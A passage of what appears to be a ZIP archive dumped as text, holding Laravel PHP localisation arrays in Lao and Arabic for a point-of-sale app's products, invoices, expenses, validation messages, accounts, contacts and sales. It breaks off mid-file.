=> 'ເພີ່ມໜ່ວຍ', 'unit.update' => 'ແກ້ໄຂໜ່ວຍ', 'unit.delete' => 'ລຶບໜ່ວຍ', 'category.view' => 'ເບິ່ງໝວດໝູ່', 'category.create' => 'ເພີ່ມໝວດໝູ່', 'category.update' => 'ແກ້ໄຂໝວດໝູ່', 'category.delete' => 'ລຶບໝວດໝູ່', 'select_all' => 'ເລືອກທັງໝົດ', 'settings' => 'ການຕັ້ງຄ່າ', 'brand' => 'ຍີ່ຫໍ້', 'tax_rate' => 'ອັດຕາອາກອນ', 'unit' => 'ຫົວໜ່ວຍ', 'access_locations' => 'ເຂົ້າເຖິງສະຖານທີ່', 'all_locations' => 'ສະຖານທີ່ທັງໝົດ', 'dashboard' => 'ໜ້າທຳອິດ', 'dashboard.data' => 'ເບິ່ງຂໍ້ມູນໜ້າທຳອິດ', 'profit_loss_report.view' => 'ເບິ່ງລາຍງານ ກຳໄລ/ສູນເສຍ', 'direct_sell.access' => 'ເຂົ້າເຖິງການຂາຍ', ]; PK G �Z -H: lo/product.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Product Language Lines |-------------------------------------------------------------------------- | | The following language lines are used for Product related operations. | */ 'exc_of_tax' => 'ບໍລວມ. ອາກອນ', 'inc_of_tax' => 'ລວມ. ອາກອນ', 'profit_percent' => 'x ກຳໄລ(%)', 'add_new_product' => 'ເພີ່ມສິນຄ້າໃໝ່', 'add_product_for_labels' => 'ເພີ່ມສິນຄ້າເພື່ອສ້າງປ້າຍກຳກັບ', 'product_type' => 'ປະເພດສິນຄ້າ', 'category' => 'ໝວດໝູ່', 'sub_category' => 'ໝວດໝູ່ຍ່ອຍ', 'unit' => 'ໜ່ວຍ', 'brand' => 'ຍີ່ຫໍ້', 'tax' => 'ອາກອນ', 'sku' => 'SKU', 'alert_quantity' => 'ປະລິມານການແຈ້ງເຕືອນ', 'product_name' => 'ຊື່່ສິນຄ້າ', 'auto_generate' => 'ສ້າງອັດຕະໂນມັດ', 'manage_stock' => 'ຈັດການສະຕັອກ?', 'enable_stock_help' => 'ເປີດໃຊ້ການຈັດການສະຕັອກໃນລະດັບສິນຄ້າ', 'barcode_type' => 'ປະເພດບາໂຄດ', 'applicable_tax' => 'ອາກອນທີ່ໃຊ້', 'selling_price_tax_type' => 'ປະເພດອາກອນລາຄາຂາຍ', 'inclusive' => 'ລວມ', 'exclusive' => 'ບໍ່ລວມ', 'edit_product' => 'ແກ້ໄຂ ສິນຄ້າ', 'default_purchase_price' => 'ລາຄາຊື້ຕັ້ງຕົ້ນ', 'default_selling_price' => 'ລາຄາຂາຍຕັ້ງຕົ້ນ', 'value' => 'ມູນຄ່າ', 'variation_name' => 'ຊື່ຄ່າຜັນປ່ຽນ', 'variation_values' => 'ຄ່າຜັນປ່ຽນ', 'use_template' => 'ໃຊ້ແມ່ແບບ', 'variation_values' => 'ຄ່າຜັນປ່ຽນ', 'add_variation' => 'ເພີ່ມ ຄ່າຜັນປ່ຽນ', 'product_added_success' => 'ເພີ່ມສິນຄ້າສຳເລັດແລ້ວ', 'product_updated_success' => 'ປັບປຸງສິນຄ້າສຳເລັດແລ້ວ', 'enable_product_expiry' => 'ເປີດໃຊ້ການໝົດອາຍຸຂອງສິນຄ້າ', 'expiry_period' => 'ໄລຍະໝົດອາຍຸ', 'expires_in' => 'ໝົດອາຍຸໃນ', 'not_applicable' => 'ບໍ່ສາມາດໃຊ້ໄດ້', 'months' => 'ເດືອນ', 'days' => 'ວັນ', 'mfg_date' => 'MFG ວັນທີຜະລິດ', 'exp_date' => 'EXP ວັນທີໝົດອານຸ', 'view_product' => 'ເບິ່ງສິນຄ້າ ', 'add_product' => 'ເພີ່ມສິນຄ້າ', 'variations' => 'ຄ່າຜັນປ່ຽນ', 'import_products' => 'ນໍາສິນຄ້າເຂົ້າ', 'file_to_import' => 'ໄຟລທີ່ຈະນຳເຂົ້າ', 'file_imported_successfully' => 'ນຳເຂົ້າໄຟສຳເລັດແລ້ວ', 'variation_sku_format' => 'ຮູບແບບ SKU ການປັບປ່ຽນ', 'variation_sku_format_help_text' => 'ຮູບແບບ SKU ການປັບປ່ຽນ - ຖ້າ SKU ຂອງການປັບປ່ຽນໝົດເປັນວ່າເບຣກນີ້ຈະຖືກນໍາໃຊ້ເພື່ອສ້າງ SKU ສໍາລັບການປັບປ່ຽນ.', 'sku_number' => 'ໝາຍເລກ SKU (ຕົວຢ່າງ -> ABC-1, ABC-2)', 'sku_variation_number' => 'ປະເພດ SKU (ຕົວຢ່າງ -> ABCS, ABCM)' ]; PK G �Z4gH?b b lo/invoice.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Invoice Language Lines |-------------------------------------------------------------------------- | | The following language lines are for invoice screen | */ 'invoice_settings' => 'ການຕັ້ງຄ່າໃບແຈ້ງໜີ້', 'manage_your_invoices' => 'ຈັດການການຕັ້ງຄ່າໃບແຈ້ງໜີ້', 'all_your_invoice_schemes' => 'ຮູບແບບໃບແຈ້ງໜີ້ທັງໝົດ', 'added_success' => 'ເພີ່ມການຕັ້ງຄ່າໃບແຈ້ງຫນີ້ຮຽບຮ້ອຍແລ້ວ', 'updated_success' => 'ປັບປຸງການຕັ້ງຄ່າໃບແຈ້ງຫນີ້ຮຽບຮ້ອຍແລ້ວ', 'deleted_success' => 'ລຶບການຕັ້ງຄ່າໃບແຈ້ງຫນີ້ຮຽບຮ້ອຍແລ້ວ', 'add_invoice' => 'ເພີ່ມຮູບແບບໃບແຈ້ງໜີ້', 'edit_invoice' => 'ແກ້ໄຂຮູບແບບໃບແຈ້ງໜີ້', 'name' => 'ຊື່', 'prefix' => 'ຄຳນຳໜ້າ', 'start_number' => 'ເລີ່ມຈາກ', 'total_digits' => 'ຈຳນວນຕົວເລກ', 'preview' => 'ເບິ່ງຕົວຢ່າງ', 'not_selected' => 'ບໍ່ໄດ້ເລືອກ', 'invoice_count' => 'ຈຳນວນໃບແຈ້ງຫນີ້', 'invoice_schemes' => 'ແບບຟອມໃບແຈ້ງໜີ້', 'invoice_layouts' => 'ຮູບແແບໃບແຈ້ງໜີ້', 'invoice_layout' => 'ຮູບແແບໃບແຈ້ງໜີ້', 'all_your_invoice_layouts' => 'ຮູບແແບໃບແຈ້ງໜີ້ທັງໝົດ', 'add_invoice_layout' => 'ເພີ່ມຮູບແແບໃບແຈ້ງໜີ້ໃໝ່', 'layout_name' => 'ຊື່ຮູບແບບ', 'invoice_scheme' => 'ຮູບແແບໃບແຈ້ງໜີ້', 'header_text' => 'ຫໍ້ຄວາມສ່ວນຫົວ', 'invoice_no_prefix' => 'ໃບແຈ້ງໜີ້ ເລກທີ. ປ້າຍກຳກັບ', 'invoice_heading' => 'ຫົວຂໍ້ໃບແຈ້ງໜີ້', 'sub_total_label' => 'ປ້າຍກຳກັບຍ່ອຍ', 'discount_label' => 'ປ້າຍກຳກັບສ່ວນຫຼຸດ', 'tax_label' => 'ປ້າຍກຳກັບພາສີ ', 'total_label' => 'ປ້າຍກຳກັບທັງໝົດ', 'fields_to_be_shown_in_address' => 'ຂໍ້ມູນທີ່ຈະສະແດງໃນທີ່ຢູ່', 'highlight_color' => 'ເນັ້ນສີ', 'footer_text' => 'ຂໍ້ຄວາມສ່ວນທ້າຍ', 'layout_added_success' => 'ເພີ່ມຮູບແບບໃບແຈ້ງໜີ້ຮຽບຮ້ອຍ', 'edit_invoice_layout' => 'ແກ້ໄຂຮູບແບບໃບແຈ້ງໜີ້ຮຽບຮ້ອຍ', 'layout_updated_success' => 'ປັບປຸງໃບແຈ້ງໜີ້ຮຽບຮ້ອຍ', 'used_in_locations' => 'ໃຊ້ໃນສະຖານທີ່', 'show_business_name' => 'ສະແດງຊື່ທຸລະກິດ', 'show_location_name' => 'ສະແດງຊື່ທີ່ຕັ້ງ', 'show_mobile_number' => 'ເບີໂທລະສັບ', 'show_alternate_number' => 'ໝາຍເລກໂທລະສັບສຳຮອງ', 'show_email' => 'ອີເມວ', 'show_tax_1' => 'ລາຍລະອຽດພາສີທີ 1', 'show_tax_2' => 'ລາຍລະອຽດພາສີທີ 2', 'fields_to_shown_for_communication' => 'ຂໍ້ມູນສຳຫຼັບລາຍລະອຽດໃນການສື່ສານ', 'fields_to_shown_for_tax' => 'ຂໍ້ມູນສຳລັບລາຍລະອຽດກ່ຽວກັບພາສີ', 'invoice_logo' => 'ໂລໂກ້ໃບແຈ້ງໜີ້', 'show_logo' => 'ສະແດງໂລໂກ້ໃບແຈ້ງໜີ້', 'show_barcode' => 'ສະແດງບາໂຄດ', 'total_due_label' => 'ປ້າຍກຳກັບຄົບກຳໜົດຊຳລະທັງໝົດ', 'invoice_heading_not_paid' => 'ຫົວເລື່ອງສ່ວນຕໍ່ທ້າຍສຳຫຼັບການບໍ່ຊຳລະເງິນ', 'invoice_heading_paid' => 'ຫົວເລື່ອງສ່ວນຕໍ່ທ້າຍສຳຫຼັບການບໍ່ຊຳລະເງິນ', 'show_payments' => 'ສະແດງຂໍ້ມູນການຊໍາລະເງິນ', 'show_customer' => 'ສະແດງຂໍ້ມູນລູກຄ້າ', 'paid_label' => 'ຈຳນວນປ້າຍກຳກັບທີ່ຊໍາລະແລ້ວ', 'customer_label' => 'ປ້າຍກຳກັບລູກຄ້າ', ]; PK G �Zc?��/ / ar/expense.phpnu �[��� <?php return [ 'expenses' => 'المصاريف', 'expense_categories' => 'فئات المصاريف', 'manage_your_expense_categories' => 'ادارة فئات المصاريف الخاصة بك', 'all_your_expense_categories' => 'جميع فئات المصاريف الخاصة بك', 'expense_category' => 'فئة المصروف', 'category_name' => 'اسم الفئة', 'category_code' => 'كود الفئة', 'added_success' => 'تمت اضافة فئة بنجاح', 'updated_success' => 'تم تعديل الفئة بنجاح', 'deleted_success' => 'تم حذف الفئة بنجاح', 'add_expense_category' => 'اضافة فئة مصاريف', 'edit_expense_category' => 'تعديل فئة المصاريف', 'all_expenses' => 'كل المصاريف', 'expense_status' => 'حالة المصاريف', 'add_expense' => 'إضافة المصاريف', 'edit_expense' => 'تعديل المصاريف', 'expense_note' => 'ملاحظة حول المصاريف', 'expense_add_success' => 'تمت إضافة المصاريف بنجاح', 'expense_update_success' => 'تم تحديث المصاريف بنجاح', 'expense_delete_success' => 'تم حذف المصاريف بنجاح', 'expense_for' => 'مصروف ل', ]; PK G �Z ��� � ar/messages.phpnu �[��� <?php return [ 'add' => 'إضافة', 'edit' => 'تعديل', 'save' => 'حفظ', 'update' => 'تحديث', 'action' => 'خيار', 'actions' => 'خيارات', 'view' => 'فحص', 'delete' => 'حذف', 'close' => 'إغلاق', 'something_went_wrong' => 'لقد حدث شيء خاطئ. شكرا على المحاولة لاحقا', 'required' => 'هذا الحقل مطلوب', 'please_select' => 'يرجى الاختيار', 'cancel' => 'إلغاء', 'date' => 'تاريخ', 'filter_by_date' => 'تصفية حسب التاريخ', 'location' => 'فرع', 'go_back' => 'إعادة', 'due_tooltip' => '- القيمة = المبلغ الواجب دفعه <br> + القيمة = مبلغ الاستلام', 'purchase_due_tooltip' => '- القيمة = مبلغ الاستلام <br> + القيمة = المبلغ المطلوب سداده', 'yes' => 'نعم', 'no' => 'لا', 'all' => 'كل', 'settings' => 'إعدادات', 'business_location_settings' => 'إعدادات موقع الشركة', 'print' => 'طباعة', 'submit' => 'إرسال', 'purchase_sell_mismatch_exception' => 'خطأ: غير مصرح به: عدم التوافق بين الكمية المباعة والكمية التي تم شراؤها المنتج : product:', 'purchase_stock_adjustment_mismatch_exception' => 'خطأ: غير مسموح: عدم التوافق بين تعديل المخزون والكمية التي تم شراؤها المنتج : product:', 'transaction_edit_not_allowed' => 'لا يُسمح بإصدار المعاملة بعد days: الأيام.', ]; PK G �Zwi� � ar/stock_adjustment.phpnu �[��� <?php return [ 'stock_adjustment' => 'المخزون التالف', 'stock_adjustments' => 'المخزون التالف', 'list' => 'قائمة المخزون التالف', 'add' => 'أضف تالف', 'all_stock_adjustments' => 'جميع المخزون التالف', 'search_product' => 'البحث عن المنتجات', 'adjustment_type' => 'نوع الاتلاف', 'normal' => 'عادي', 'abnormal' => 'غير عادي', 'total_amount' => 'الإجمالي', 'total_amount_recovered' => 'الإجمالي المسترد', 'reason_for_stock_adjustment' => 'السبب', 'stock_adjustment_added_successfully' => 'تمت اضافة مخزون تالف بنجاح', 'search_products' => 'البحث عن المنتجات', 'delete_success' => 'تم حذف المخزون التالف بنجاح', 'view_details' => 'عرض تفاصيل المخزون التالف', ]; PK G �ZE�h� � ar/home.phpnu �[��� <?php return [ 'home' => 'الرئيسية', 'welcome_message' => ',:name مرحبا', 'total_sell' => 'اجمالي المبيعات', 'total_purchase' => 'إجمالي المشتريات', 'invoice_due' => 'الفواتير الغير مدفوعة', 'purchase_due' => 'المشتريات الغير مدفوعة', 'today' => 'اليوم', 'this_week' => 'هذا الأسبوع', 'this_month' => 'هذا الشهر', 'this_fy' => 'هذه السنة المالية', 'sells_last_30_days' => 'المبيعات في آخر 30 يومًا', 'sells_current_fy' => 'السنة المالية الحالية', 'total_sells' => '(:currency) إجمالي المبيعات', 'product_stock_alert' => 'تنبيه المخزون', 'payment_dues' => 'الديون', 'due_amount' => 'المبلغ المستحق', 'stock_expiry_alert' => 'تنبيه انتهاء الصلاحية', 'todays_profit' => 'ربح اليوم', ]; PK G �Zq �� ar/receipt.phpnu �[��� <?php return [ 'product' => 'المنتج', 'qty' => 'الكمية', 'unit_price' => 'سعر الوحدة', 'subtotal' => ' اجمالى', 'discount' => 'الخصم', 'tax' => 'الضريبة', 'total' => 'الاجمالى', 'invoice_number' => 'الفاتورة رقم.', 'date' => 'التاريخ', 'receipt_settings' => 'إعدادات الفاتورة', 'receipt_settings_mgs' => 'جميع الإعدادات المتعلقة بالفواتير لهذا الفرع', 'print_receipt_on_invoice' => 'الطباعة التلقائية للفاتورة بعد الانتهاء', 'receipt_printer_type' => 'نوع طابعة الفواتير', 'receipt_settings_updated' => 'تم تحديث إعدادات الفاتورة', ]; PK G �Z%� � � ar/tax_rate.phpnu �[��� <?php return [ 'tax_rates' => 'معدلات الضرائب', 'manage_your_tax_rates' => 'إدارة معدلات الضرائب الخاصة بك', 'all_your_tax_rates' => 'جميع معدلات الضرائب الخاصة بك', 'name' => 'الاسم', 'rate' => 'معدل الضريبة٪', 'added_success' => 'تم إضافة معدل الضريبة بنجاح', 'updated_success' => 'تم تحديث معدل الضريبة بنجاح', 'deleted_success' => 'تمت إزالة معدل الضريبة بنجاح', 'add_tax_rate' => 'أضف معدل الضريبة', 'edit_taxt_rate' => 'تعديل معدل الضريبة', 'add_tax_group' => 'إضافة مجموعة ضريبية', 'tax_group_added_success' => 'تمت إضافة المجموعة الضريبية بنجاح', 'tax_group_updated_success' => 'تم تحديث المجموعة الضريبية بنجاح', 'tax_groups' => 'مجموعات الضرائب', 'edit_tax_group' => 'تعديل مجموعة الضرائب', 'sub_taxes' => 'الضرائب الفرعية', 'can_not_be_deleted' => 'معدل الضريبة هذا يخص مجموعات ضرائب معينة', ]; PK G �Z8~_�� � ar/category.phpnu �[��� <?php return [ 'categories' => 'الأصناف', 'manage_your_categories' => 'إدارة الأصناف الخاصة بك', 'all_your_categories' => 'كل أصنافك', 'category' => 'الصنف', 'category_name' => 'إسم الصنف', 'code' => 'رمز الصنف', 'add_as_sub_category' => 'إضافة إلى الصنف الفرعي', 'select_parent_category' => 'حدد الصنف الرئيسي', 'added_success' => 'تمت إضافة الصنف بنجاح', 'updated_success' => 'تم تحديث الصنف بنجاح', 'deleted_success' => 'تم حذف الصنف بنجاح', 'add_category' => 'إضافة صنف', 'edit_category' => 'تعديل صنف', ]; PK G �Z�,4� ar/brand.phpnu �[��� <?php return [ 'brands' => 'العلامات التجارية', 'manage_your_brands' => 'إدارة العلامات التجارية الخاصة بك', 'all_your_brands' => 'جميع العلامات التجارية الخاصة بك', 'note' => 'ملاحظة', 'brand_name' => 'إسم العلامة التجارية', 'short_description' => 'وصف مختصر', 'added_success' => 'تمت إضافة العلامة التجارية بنجاح', 'updated_success' => 'تم تحديث العلامة التجارية بنجاح', 'deleted_success' => 'تم حذف العلامة التجارية بنجاح', 'add_brand' => 'أضف علامة تجارية', 'edit_brand' => 'تعديل علامة تجارية', ]; PK G �Zq ֠ � ar/auth.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Authentication Language Lines |-------------------------------------------------------------------------- | | The following language lines are used during authentication for various | messages that we need to display to the user. You are free to modify | these language lines according to your application's requirements. | */ 'failed' => 'خطأ باسم المستخدم او كلمة السر', 'throttle' => 'محاولات خاطئة كثيرة. يرجى المحاولة مره اخرى بعد :seconds ثانية.', ]; PK G �Z8j[" ar/paginate.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Pagination Language Lines |-------------------------------------------------------------------------- | | The following language lines are used by the paginator library to build | the simple pagination links. You are free to change them to anything | you want to customize your views to better match your application. | */ 'previous' => '« سابق', 'next' => ' التالي »', ]; PK G �Z�R �! �! ar/validation.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Validation Language Lines |-------------------------------------------------------------------------- | | The following language lines contain the default error messages used by | the validator class. Some of these rules have multiple versions such | as the size rules. Feel free to tweak each of these messages. | */ 'accepted' => 'يجب قبول الحقل attribute:.', 'active_url' => 'الحقل attribute: ليست عنوان URL صالحًا.', 'after' => 'يجب أن يكون الحقل attribute: تاريخًا بعد date:.', 'after_or_equal' => 'يجب أن يكون الحقل attribute: تاريخًا متأخرًا عن أو يساوي date:.', 'alpha' => 'يجب أن يحتوي الحقل attribute: على أحرف فقط.', 'alpha_dash' => 'يجب أن يحتوي حقل attribute: على أحرف وأرقام وواصلات فقط.', 'alpha_num' => 'يجب أن يحتوي الحقل attribute: على أرقام وحروف فقط.', 'array' => 'يجب أن يكون الحقل attribute: مصفوفة.', 'before' => 'يجب أن يكون الحقل attribute: تاريخًا قبل: date:.', 'before_or_equal' => 'يجب أن يكون الحقل attribute: تاريخًا أقدم من أو يساوي: date:.', 'between' => [ 'numeric' => 'يجب أن تتراوح قيمة attribute: بين min: و max:.', 'file' => 'يجب أن يكون حجم ملف attribute: بين min: و max: كيلوبايت .', 'string' => 'يجب أن يحتوي النص بين min: و max: حرف.', 'array' => 'يجب أن تتضمن المصفوفة attribute: بين min: و max: عنصر.', ], 'boolean' => 'يجب أن تكون خاصية الحقل attribute: صحيح أو خطأ.', 'confirmed' => 'حقل التأكيد attribute: لا يتطابق.', 'date' => 'الحقل attribute: ليس تاريخًا صالحًا.', 'date_format' => 'لا يتطابق الحقل attribute: مع التنسيق format:.', 'different' => 'الحقول attribute: و other: يجب أن تكون مختلفة.', 'digits' => 'يجب أن يحتوي الحقل على digits: رقم(أرقام).', 'digits_between' => 'يجب أن يحتوي الحقل بين min: و max: رقم(أرقام).', 'dimensions' => 'حجم الصورة attribute: غير متوافقة.', 'distinct' => 'يحتوي الحقل attribute: على قيمة مكررة.', 'email' => 'يجب أن يكون الحقل attribute: عنوان بريد إلكتروني صالحًا.', 'exists' => 'الحقل attribute: المحدد غير صالح.', 'file' => 'يجب أن يكون الحقل attribute: ملفًا.', 'filled' => 'يجب أن يحتوي الحقل attribute: على قيمة.', 'image' => 'يجب أن يكون الحقل attribute: صورة.', 'in' => 'الحقل attribute: غير صالح.', 'in_array' => 'الحقل attribute: غير موجود في other:.', 'integer' => 'يجب أن يكون الحقل attribute: عددًا صحيحًا.', 'ip' => 'يجب أن يكون الحقل attribute: عنوان IP صالح.', 'ipv4' => 'يجب أن يكون الحقل attribute: عنوان IPv4 صالح.', 'ipv6' => 'يجب أن يكون الحقل attribute: عنوان IPv6 صالح.', 'json' => 'يجب أن يكون الحقل attribute: مستند JSON صالحً.', 'max' => [ 'numeric' => 'لا يمكن أن تكون قيمة attribute: أكبر من max:.', 'file' => 'لا يمكن أن يتعدى حجم الملف attribute: (السمة القصوى) max: كيلوبايت .', 'string' => 'لا يمكن أن يحتوي النص attribute: على أكثر من max: حرف(أحرف).', 'array' => 'لا يمكن أن تحتوي المصفوفة attribute: على أكثر من max: عنصر.', ], 'mimes' => 'يجب أن يكون الحقل attribute: ملفًا من نوع values:.', 'mimetypes' => 'يجب أن يكون الحقل attribute: ملفًا من نوع values:.', 'min' => [ 'numeric' => 'يجب أن تكون قيمة attribute: أكبر من أو تساوي min:.', 'file' => 'يجب أن يكون حجم ملف attribute: أكبر من min: كيلوبايت.', 'string' => 'يجب أن يحتوي النص على الأقل min: حرف(أحرف).', 'array' => 'يجب أن تحتوي المصفوفة attribute: على الأقل min: عنصر(عناصر).', ], 'not_in' => 'الحقل attribute: المحدد غير صالح.', 'numeric' => 'يجب أن يحتوي الحقل attribute: على رقم.', 'present' => 'يجب أن يكون الحقل attribute: موجود.', 'regex' => 'نسق الحقل attribute: غير صالح.', 'required' => 'الحقل إلزامي.', 'required_if' => 'الحقل attribute: إلزامي عندما تكون قيمة other: هي value:.', 'required_unless' => 'الحقل attribute: إلزامي ما لم other: هو values:.', 'required_with' => 'الحقل attribute: إلزامي عندما تكون values: موجودة.', 'required_with_all' => 'الحقل attribute: إلزامي عندما تكون values: موجودة', 'required_without' => 'الحقل attribute: إلزامي عندما تكون values: غير موجودة', 'required_without_all' => 'الحقل attribute: إلزامي عندما تكون values: غير موجودة', 'same' => 'الحقول attribute: و other: يجب أن تكون هي نفسها.', 'size' => [ 'numeric' => 'يجب أن تكون قيمة attribute: هي size:.', 'file' => 'يجب أن يكون حجم ملف attribute: هو size: كيلوبايت.', 'string' => 'يجب أن يحتوي النص attribute: على size: حرف(أحرف).', 'array' => 'يجب أن تحتوي المصفوفة attribute: على size: عنصر(عناصر).', ], 'string' => 'يجب أن يكون الحقل attribute: سلسلة من الأحرف.', 'timezone' => 'يجب أن يكون الحقل attribute: منطقة زمنية صالحة.', 'unique' => 'قيمة الحقل attribute: مستخدمة بالفعل.', 'uploaded' => 'ملف الحقل attribute: لا يمكن تحميله', 'url' => 'نسق عنوان URL لـ attribute: غير صالح.', /* |-------------------------------------------------------------------------- | Custom Validation Language Lines |-------------------------------------------------------------------------- | | Here you may specify custom validation messages for attributes using the | convention "attribute.rule" to name the lines. This makes it quick to | specify a specific custom language line for a given attribute rule. | */ 'custom' => [ 'attribute-name' => [ 'rule-name' => 'custom-message', ], ], /* |-------------------------------------------------------------------------- | Custom Validation Attributes |-------------------------------------------------------------------------- | | The following language lines are used to swap attribute place-holders | with something more reader friendly such as E-Mail Address instead | of "email". This simply helps us make messages a little cleaner. | */ 'attributes' => [ 'name' => 'الإسم', 'username' => 'إسم المستخدم', 'email' => 'عنوان البريد الالكتروني', 'first_name' => 'الإسم', 'last_name' => 'الإسم الاخير', 'password' => 'كلمة السر', 'password_confirmation' => 'تأكيد كلمة السر', 'city' => 'المدينة', 'country' => 'الدولة', 'address' => 'العنوان', 'phone' => 'الهاتف', 'mobile' => 'الموبايل', 'age' => 'السن', 'sex' => 'الجنس', 'gender' => 'النوع', 'day' => 'يوم', 'month' => 'شهر', 'year' => 'عام', 'hour' => 'ساعة', 'minute' => 'دقيقة', 'second' => 'ثانية', 'title' => 'العنوان', 'content' => 'المحتوى', 'description' => 'الوصف', 'excerpt' => 'مقتطف', 'date' => 'التاريخ', 'time' => 'الوقت', 'available' => 'متاح', 'size' => 'الحجم', ], ]; PK G �Zg��EN N ar/account.phpnu �[��� <?php return [ 'account' => 'الحسابات', 'manage_your_account' => 'ادارة الحسابات', 'all_accounts' => 'جميع الحسابات', 'account_number' => 'رقم حساب', 'add_account' => 'إضافة حساب', 'account_created_success' => 'تم انشاء الحساب بنجاح', 'account_updated_success' => 'تم تحديث الحساب بنجاح', 'edit_account' => 'تحرير الحساب', 'account_closed_success' => 'تم إغلاق الحساب بنجاح', 'closed' => 'مغلق', 'list_accounts' => 'قائمة الحسابات', 'opening_balance' => 'الرصيد الافتتاحي', 'account_book' => 'دفتر الحسابات', 'credit' => 'ائتمان', 'debit' => 'مدين', 'account_name' => 'أسم الحساب', 'transaction_type' => 'نوع المعاملة', 'fund_transfer' => 'تحويل الأموال', 'selected_account' => 'الحساب المحدد', 'transfer_to' => 'حول إلى', 'fund_transfered_success' => 'تم تحويل الأموال بنجاح', 'deposit' => 'ايداع', 'deposited_successfully' => 'تم إيداع المبلغ بنجاح', 'from' => 'من عند', 'to' => 'إلى', 'balance_sheet' => 'الميزانية', 'liability' => 'الالتزامات', 'assets' => 'الأصول', 'supplier_due' => 'مستحقات المورد', 'customer_due' => 'مستحقات العميل', 'account_balances' => 'أرصدة الحسابات', 'total_assets' => 'إجمالي الأصول', 'total_liability' => 'اجمال الالتزامات', 'trial_balance' => 'ميزان المراجعة', 'payments_not_linked_with_account' => 'دفعات <b>:payments </b> غير مرتبطة بأي حساب. ', 'saving_current' => 'التوفير / الحالى', 'capital' => 'رأس المال', 'not_applicable' => 'لايمكن تطبيقه', 'account_type' => 'نوع الحساب', 'accounts' => 'الحسابات', 'capital_accounts' => 'حسابات رأس المال', 'deposit_from' => 'الإيداع من', 'no_capital_account_created' => 'لا يوجد حساب رأس مال نشط.', 'payment_account_report' => 'الفواتير المحصلة', 'invoice_ref_no' => 'الفاتورة No./Ref. رقم', 'payment_ref_no' => 'رقم المرجع المدفوع', 'payment_for' => 'الدفع مقابل', 'link_account' => 'ربط بحساب', 'account_linked_success' => 'تم ربط الحساب بنجاح', 'view_details' => 'عرض التفاصيل', ]; PK G �Z,i՚� � ar/contact.phpnu �[��� <?php return [ 'contacts' => 'جهات الاتصال', 'name' => 'الإسم', 'contact' => 'جهة اتصال', 'manage_your_contact' => 'إدارة contacts: الخاص بك', 'all_your_contact' => ' كل contacts: الخاص بك', 'add_contact' => 'اضافة جهة اتصال', 'contact_type' => 'نوع جهة الاتصال', 'tax_no' => 'الرقم الضريبي', 'pay_term' => 'فترة الدفع', 'pay_term_period' => 'كل', 'mobile' => 'الموبايل', 'landline' => 'الهاتف', 'alternate_contact_number' => 'الموبايل البديل', 'edit_contact' => 'تعديل جهة اتصال', 'added_success' => 'تمت الاضافة بنجاح', 'updated_success' => 'تم التحديث بنجاح', 'deleted_success' => 'تم الحذف بنجاح', 'add_new_customer' => 'إضافة عميل جديد', 'view_contact' => 'عرض جهات الاتصال', 'contact_info' => ':contact معلومات عن', 'all_purchases_linked_to_this_contact' => 'جميع المشتريات المتعلقة بهذا العميل', 'all_sells_linked_to_this_contact' => 'جميع المبيعات المتعلقة بهذا العميل', 'total_purchase_due' => 'مجموع المشتريات غير المدفوعة', 'pay_due_amount' => 'المبلغ المستحق', 'total_paid' => 'مجموع المبالغ المدفوعة', 'total_purchase_paid' => 'مجموع مدفوعات الشراء', 'total_sale_paid' => 'اجمالي مدفوعات المبيعات', 'total_sale_due' => 'مجموع المبيعات غير المدفوعة', 'customer' => 'عميل', ]; PK G �Z� �� � ar/sale.phpnu �[��� <?php return [ 'sale' => 'المبيعات', 'sells' => 'المبيعات', 'list_sale' => 'قائمة المبيعات', 'add_sale' => 'إضافة بيع', 'pos_sale' => 'نقطة بيع', 'draft_added' => 'تمت إضافة المسودة بنجاح', 'invoice_added' => 'تمت إضافة الفاتورة بنجاح', 'item' => 'عناصر', 'total' => 'المجموع', 'order_tax' => 'ضريبة الطلبية', 'discount' => 'الخصم', 'total_payable' => 'الاجمالى', 'cancel' => 'إلغاء', 'draft' => 'مسودة', 'finalize' => 'دفع واستكمال', 'express_finalize' => 'استكمال </br> سريع', 'product' => 'منتج', 'products' => 'المنتجات', 'unit_price' => 'سعر الوحدة', 'qty' => 'الكمية', 'subtotal' => 'المجموع', 'recent_transactions' => 'معاملاتك الأخيرة', 'pos_sale_added' => 'تمت إضافة عملية البيع بنجاح', 'price_inc_tax' => 'السعر شامل الضريبة', 'tax' => 'الضريبية', 'edit_discount' => 'تعديل الخصم', 'edit_order_tax' => 'تعديل ضريبة الطلبية', 'discount_type' => 'نوع الخصم', 'discount_amount' => 'مبلغ الخصم', 'no_recent_transactions' => 'لا توجد معاملات حديثة', 'final' => 'انهاء', 'invoice_no' => 'الفاتورة رقم.', 'customer_name' => 'اسم العميل', 'payment_status' => 'حالة الدفع', 'status' => 'الحالة', 'total_amount' => 'الاجمالى', 'total_paid' => 'المدفوع', 'total_remaining' => 'المتبقى', 'payment_info' => 'معلومات الدفع', 'drafts' => 'المسودات', 'all_drafts' => 'جميع المسودات', 'sell_details' => 'تفاصيل المبيعات', 'payments' => 'المدفوعات', 'amount' => 'المبلغ', 'payment_mode' => 'طريقة الدفع', 'payment_note' => 'ملاحظة الدفع', 'sell_note' => 'ملاحظة البيع', 'staff_note' => 'ملاحظة الموظفين', 'draft_updated' => 'تم تحديث المسودة بنجاح', 'pos_sale_updated' => 'تم تحديث البيع بنجاح', 'location' => 'الفرع', 'add_payment_row' => 'أضف صف دفع', 'finalize_payment' => 'انهاء المبيعة', 'sale_date' => 'تاريخ البيع', 'list_pos' => 'قائمة نقطة البيع', 'edit_sale' => 'تعديل البيع', 'shipping' => 'شحن', 'shipping_details' => 'تفاصيل الشحن', 'shipping_charges' => 'رسوم الشحن', ]; PK G �Zq�:-� � ar/report.phpnu �[��� <?php return [ 'reports' => 'التقارير', 'purchase_sell_report' => 'مشتريات ومبيعات', 'purchase_sell' => 'تققريير المشتريات والمبيعات', 'purchase_sell_msg' => 'تفاصيل المشتريات والمبيعات للفترة المحددة', 'total_purchase' => 'إجمالي المشتريات', 'purchase_inc_tax' => 'المشتريات (جميع الضرائب مدرجة)', 'total_sell' => 'اجمالي المبيعات', 'sell_inc_tax' => 'المبيعات (جميع الضرائب مدرجة)', 'purchase_due' => 'مستحق دفع المشتريات', 'sell_due' => 'مستحق دفع المبيعات', 'overall' => 'كلي (مبيعات-مشتريات)', 'sell_minus_purchase' => 'بيع - شراء', 'difference_due' => 